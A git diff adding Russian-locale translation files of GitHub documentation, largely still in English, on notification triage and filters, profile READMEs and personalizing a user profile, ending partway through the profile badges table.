+ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145115923' +--- + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md new file mode 100644 index 000000000000..a006c118166a --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md @@ -0,0 +1,181 @@ +--- +title: Managing notifications from your inbox +intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.' +redirect_from: + - /articles/marking-notifications-as-read + - /articles/saving-notifications-for-later + - /github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox + - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +shortTitle: Manage from your inbox +--- + +## About your inbox + +{% ifversion fpt or ghes or ghec %} +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." +{% endif %} + +To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. + + ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) + +Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview. + + ![inbox view](/assets/images/help/notifications-v2/inbox-view.png) + +By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query. + + ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png) + +## Triaging options + +You have several options for triaging notifications from your inbox. + +| Triaging option | Description | +|-----------------|-------------| +| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}.

Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. | +| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months. +| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review. +| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**. +| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. | + +To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)." + +Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)." + +## Triaging multiple notifications at the same time + +To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option. + +![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) + +## Default notification filters + +By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned. + + ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png) + +## Customizing your inbox with custom filters + +You can add up to 15 of your own custom filters. + +{% data reusables.notifications.access_notifications %} +2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}. + + {% tip %} + + **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings. + + {% endtip %} + +3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)." + + ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png) + +4. Click **Create**. + +## Custom filter limitations + +Custom filters do not currently support: + - Full text search in your inbox, including searching for pull request or issue titles. + - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests. + - Creating more than 15 custom filters. + - Changing the default filters or their order. + - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`. + +## Supported queries for custom filters + +These are the types of filters that you can use: + - Filter by repository with `repo:` + - Filter by discussion type with `is:` + - Filter by notification reason with `reason:`{% ifversion fpt or ghec %} + - Filter by notification author with `author:` + - Filter by organization with `org:`{% endif %} + +### Supported `repo:` queries + +To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization. + +### Supported `is:` queries + +To filter notifications for specific activity on {% data variables.location.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}. + +- `is:check-suite` +- `is:commit` +- `is:gist` +- `is:issue-or-pull-request` +- `is:release` +- `is:repository-invitation` +- `is:repository-vulnerability-alert`{% ifversion fpt or ghec %} +- `is:repository-advisory`{% endif %} +- `is:team-discussion`{% ifversion fpt or ghec %} +- `is:discussion`{% endif %} + +For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)." + +You can also use the `is:` query to describe how the notification was triaged. + +- `is:saved` +- `is:done` +- `is:unread` +- `is:read` + +### Supported `reason:` queries + +To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)." + +| Query | Description | +|-----------------|-------------| +| `reason:assign` | When there's an update on an issue or pull request you've been assigned to. +| `reason:author` | When you opened a pull request or issue and there has been an update or new comment. +| `reason:comment`| When you commented on an issue, pull request, or team discussion. +| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned. +| `reason:invitation` | When you're invited to a team, organization, or repository. +| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to. +| `reason:mention` | You were directly @mentioned. +| `reason:review-requested` | You or a team you're on have been requested to review a pull request. +| `reason:security-alert` | When a security alert is issued for a repository. +| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged. +| `reason:team-mention` | When a team you're a member of is @mentioned. +| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status. + +{% ifversion fpt or ghec %} +### Supported `author:` queries + +To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`. + +### Supported `org:` queries + +To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization. + +For example, to see notifications from the octo-org organization, use `org:octo-org`. + +{% endif %} + +## {% data variables.product.prodname_dependabot %} custom filters + +{% ifversion fpt or ghec or ghes %} +If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters: +- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}. +- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests. +- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests. + +For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +{% endif %} + +{% ifversion ghae %} + +If you use {% data variables.product.prodname_dependabot %} to tell you about insecure dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}: +- `is:repository_vulnerability_alert` +- `reason:security_alert` + +For more information about {% data variables.product.prodname_dependabot %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +{% endif %} + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md new file mode 100644 index 000000000000..1eb322503728 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md @@ -0,0 +1,47 @@ +--- +title: Triaging a single notification +intro: 'When you review and investigate a single notification, you have several triaging options that are optimized for the detailed notification view.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +redirect_from: + - /github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification + - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification +shortTitle: Triage a notification +--- +## Saving a single notification + +To save a single notification to review later, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. You can only save one notification at a time. + +Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. + + ![Save triaging option](/assets/images/help/notifications-v2/save-triaging-option.png) + +## Investigating a notification + +When you click an individual notification from your inbox, you're directed to the conversation that prompted the notification. From the top of the page, you can: +- Mark the individual notification as done +- Unsubscribe from future notifications +- Mark the notification as read +- Save the notification for later +- Return to your notifications inbox + +For more information about your triage options, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-options)." + +## Customizing when to receive future updates for an issue or pull request + +You can choose how you want to receive future notifications for a specific issue or pull request. + +1. In the right column of the issue or pull request, next to "Notifications", click **Customize**. + + ![Customize option under "Notifications"](/assets/images/help/notifications-v2/customize-notifications-for-specific-thread.png) + +2. Select **Custom** and choose when you'd like to receive a notification update for this thread. For example, you can choose to receive an update when the pull request has been merged, closed, or reopened. You will be subscribed again if you participate in the thread, your username is @mentioned, or a team you're a member of is @mentioned. + + ![Options for customizing notifications](/assets/images/help/notifications-v2/custom-options-for-customizing-notification-thread-updates.png) + +3. Click **Save**. diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md new file mode 100644 index 000000000000..e90733dfb672 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md @@ -0,0 +1,35 @@ +--- +title: About your organization's profile +intro: Your organization's profile page shows basic information about your organization. +redirect_from: + - /articles/about-your-organization-s-profile + - /articles/about-your-organizations-profile + - /github/setting-up-and-managing-your-github-profile/about-your-organizations-profile + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Organization's profile +--- + +You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories.{% ifversion fpt or ghec or ghes > 3.3 %} You can customize your organization's public profile by adding a README.md file. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."{% endif %} + +{% ifversion fpt %} +Organizations that use {% data variables.product.prodname_ghe_cloud %} can confirm their organization's identity and display a "Verified" badge on their organization's profile page by verifying the organization's domains with {% data variables.product.product_name %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" in the {% data variables.product.prodname_ghe_cloud %} documenatation. +{% elsif ghec or ghes %} +To confirm your organization's identity and display a "Verified" badge on your organization profile page, you can verify your organization's domains with {% data variables.product.prodname_dotcom %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." +{% endif %} + +{% ifversion fpt or ghes or ghec %} +![Sample organization profile page](/assets/images/help/organizations/org_profile_with_overview.png) +{% else %} +![Sample organization profile page](/assets/images/help/profile/org_profile.png) +{% endif %} + +## Further reading + +- "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md new file mode 100644 index 000000000000..a5fcae6c4281 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md @@ -0,0 +1,43 @@ +--- +title: About your profile +intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.' +redirect_from: + - /articles/viewing-your-feeds + - /articles/profile-pages + - /articles/about-your-profile + - /github/setting-up-and-managing-your-github-profile/about-your-profile + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +--- +You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see "[Adding a bio to your profile](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)." + +{% ifversion fpt or ghes or ghec %} + +{% data reusables.profile.profile-readme %} + +![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png) + +{% endif %} + +People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" or "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." + +People who visit your profile can also see the following information. + +- Repositories and gists you own or contribute to. {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. For more information, see "[Pinning items to your profile](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %} +- Repositories you've starred{% ifversion fpt or ghec %} and organized into lists{% endif %}. For more information, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)." +- An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %} +- Badges and Achievements that highlight your activity and show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %} + +You can also set a status on your profile to provide information about your availability. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)." + +## Further reading + +- "[How do I set up my profile picture?](/articles/how-do-i-set-up-my-profile-picture)" +- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md new file mode 100644 index 000000000000..add6fc49db07 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md @@ -0,0 +1,28 @@ +--- +title: Настройка профиля +intro: 'Вы можете настроить свой профиль, чтобы другие пользователи могли понять, кто вы и какую работу выполняете.' +redirect_from: + - /articles/customizing-your-profile + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +children: + - /about-your-profile + - /about-your-organizations-profile + - /personalizing-your-profile + - /managing-your-profile-readme + - /pinning-items-to-your-profile + - /setting-your-profile-to-private +ms.openlocfilehash: 617625a9e51fa44f5f1e291b5c3828b1c403b5bc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117195' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md new file mode 100644 index 000000000000..b7f02b36e034 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md @@ -0,0 +1,77 @@ +--- +title: Managing your profile README +intro: 'You can add a README to your {% data variables.product.prodname_dotcom %} profile to tell other people about yourself.' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Profiles +redirect_from: + - /github/setting-up-and-managing-your-github-profile/managing-your-profile-readme + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme +shortTitle: Your profile README +--- +## About your profile README + +You can share information about yourself with the community on {% data variables.location.product_location %} by creating a profile README. {% data variables.product.prodname_dotcom %} shows your profile README at the top of your profile page. + +You decide what information to include in your profile README, so you have full control over how you present yourself on {% data variables.product.prodname_dotcom %}. Here are some examples of information that visitors may find interesting, fun, or useful in your profile README. + +- An "About me" section that describes your work and interests +- Contributions you're proud of, and context about those contributions +- Guidance for getting help in communities where you're involved + +![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png) + +You can format text and include emoji, images, and GIFs in your profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github)." For a hands-on guide to customizing your profile README, see "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)." + +## Prerequisites + +GitHub will display your profile README on your profile page if all of the following are true. + +- You've created a repository with a name that matches your {% data variables.product.prodname_dotcom %} username. +- The repository is public. +- The repository contains a file named README.md in its root. +- The README.md file contains any content. + +{% note %} + +**Note**: If you created a public repository with the same name as your username before July 2020, {% data variables.product.prodname_dotcom %} won't automatically show the repository's README on your profile. You can manually share the repository's README to your profile by going to the repository on {% data variables.product.prodname_dotcom_the_website %} and clicking **Share to profile**. + +![Button to share README to profile](/assets/images/help/repository/share-to-profile.png) + +{% endnote %} + +## Adding a profile README + +{% data reusables.repositories.create_new %} +2. Under "Repository name", type a repository name that matches your {% data variables.product.prodname_dotcom %} username. For example, if your username is "octocat", the repository name must be "octocat". + ![Repository name field which matches username](/assets/images/help/repository/repo-username-match.png) +3. Optionally, add a description of your repository. For example, "My personal repository." + ![Field for entering a repository description](/assets/images/help/repository/create-personal-repository-desc.png) +4. Select **Public**. + ![Radio button to select visibility with public selected](/assets/images/help/repository/create-personal-repository-visibility.png) +{% data reusables.repositories.initialize-with-readme %} +{% data reusables.repositories.create-repo %} +7. Above the right sidebar, click **Edit README**. + ![Button to edit README file](/assets/images/help/repository/personal-repository-edit-readme.png) + + The generated README file is pre-populated with a template to give you some inspiration for your profile README. + ![README file with pre-populated template](/assets/images/help/repository/personal-repository-readme-template.png) + +For a summary of all the available emojis and their codes, see "[Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/)." + +## Removing a profile README + +The profile README is removed from your {% data variables.product.prodname_dotcom %} profile if any of the following apply: + +- The README file is empty or doesn't exist. +- The repository is private. +- The repository name no longer matches your username. + +The method you choose depends upon your needs, but if you're unsure, we recommend making your repository private. For steps on how to make your repository private, see "[Changing a repository's visibility](/github/administering-a-repository/setting-repository-visibility#changing-a-repositorys-visibility)." + +## Further reading + +- [About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md new file mode 100644 index 000000000000..2d9b69cef292 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md @@ -0,0 +1,273 @@ +--- +title: Personalizing your profile +intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.' +redirect_from: + - /articles/adding-a-bio-to-your-profile + - /articles/setting-your-profile-picture + - /articles/how-do-i-set-up-my-profile-picture + - /articles/gravatar-problems + - /articles/how-do-i-set-up-my-avatar + - /articles/personalizing-your-profile + - /github/setting-up-and-managing-your-github-profile/personalizing-your-profile + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Personalize +--- +## Changing your profile picture + +Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs. + +When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you. + +{% note %} + +**Note{% ifversion ghec %}s{% endif %}**: {% ifversion ghec %} + +* {% endif %}Your profile picture should be a PNG, JPG, or GIF file, and it must be less than 1 MB in size and smaller than 3000 by 3000 pixels. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels. +{% ifversion ghec %}* Gravatar profile pictures are not supported with {% data variables.product.prodname_emus %}.{% endif %} + +{% endnote %} + +### Setting a profile picture + +{% data reusables.user-settings.access_settings %} +2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**. +![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png) +3. Click **Upload a photo...**.{% ifversion not ghae %} +![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} +3. Crop your picture. When you're done, click **Set new profile picture**. + ![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png) + +### Resetting your profile picture to the identicon + +{% data reusables.user-settings.access_settings %} +2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**. +![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png) +3. To revert to your identicon, click **Remove photo**. {% ifversion not ghae %}If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead. +![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %} + +## Changing your profile name + +You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)." + +{% ifversion fpt or ghec %} +{% note %} + +**Note:** If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% endnote %} +{% endif %} + +{% data reusables.user-settings.access_settings %} +2. Under "Name", type the name you want to be displayed on your profile. + ![Name field in profile settings](/assets/images/help/profile/name-field.png) + +## Adding a bio to your profile + +Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink. + +{% ifversion fpt or ghes or ghec %} + +For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)." + +{% endif %} + +{% note %} + +**Note:** + If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." + +{% endnote %} + +{% data reusables.user-settings.access_settings %} +2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters. + ![Update bio on profile](/assets/images/help/profile/bio-field.png) + + {% tip %} + + **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you. + + {% endtip %} + +{% data reusables.profile.update-profile %} + +{% ifversion profile-time-zone %} + +## Setting your location and time zone + +You can set a location and time zone on your profile to show other people your local time. Your location and time zone will be visible: +- on your {% data variables.product.product_name %} profile page. +- when people hover over your username or avatar on {% data variables.product.product_name %}. + +When you view your profile, you will see your location, local time, and your time zone in relation to Universal Time Coordinated. + + ![Screenshot of the Octocat profile page emphasizing the location, local time, and time zone fields.](/assets/images/help/profile/profile-location-and-time.png) + +When others view your profile, they will see your location, local time, and the time difference in hours from their own local time. + + ![Screenshot of the Octocat profile page emphasizing the location, local time, and relative time fields.](/assets/images/help/profile/profile-relative-time.png) + +{% data reusables.user-settings.access_settings %} +1. Under **Location**, type the location you want to be displayed on your profile. + + ![Screenshot of the location and local time settings emphasizing the location field.](/assets/images/help/profile/location-field.png) + +1. Optionally, to display the current local time on your profile, select **Display current local time**. + + ![Screenshot of the location and local time settings emphasizing the display current local time checkbox.](/assets/images/help/profile/display-local-time-checkbox.png) + + - Select the **Time zone** dropdown menu, then click your local time zone. + + ![Screenshot of the location and local time settings emphasizing the time zone dropdown menu.](/assets/images/help/profile/time-zone-dropdown.png) + +{% data reusables.profile.update-profile %} + +{% endif %} + +## Setting a status + +You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show: +- on your {% data variables.product.product_name %} profile page. +- when people hover over your username or avatar on {% data variables.product.product_name %}. +- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)." +- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)." + +When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}. + +![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png) + +![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png) + +If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)." + +1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set status** or, if you already have a status set, click your current status. + ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png) +2. To add custom text to your status, click in the text field and type a status message. + ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png) +3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list. + ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png) +4. Optionally, if you'd like to share that you have limited availability, select "Busy." + ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png) +5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status. + ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png) +6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public. + ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png) +7. Click **Set status**. + ![Button to set status](/assets/images/help/profile/set-status-button.png) + +{% ifversion fpt or ghec %} +## Displaying badges on your profile + +When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile. + +| Badge | Program | Description | +| --- | --- | --- | +| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). | +| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." | +| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). | +| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). | +| {% octicon "shield" aria-label="The shield icon" %} | 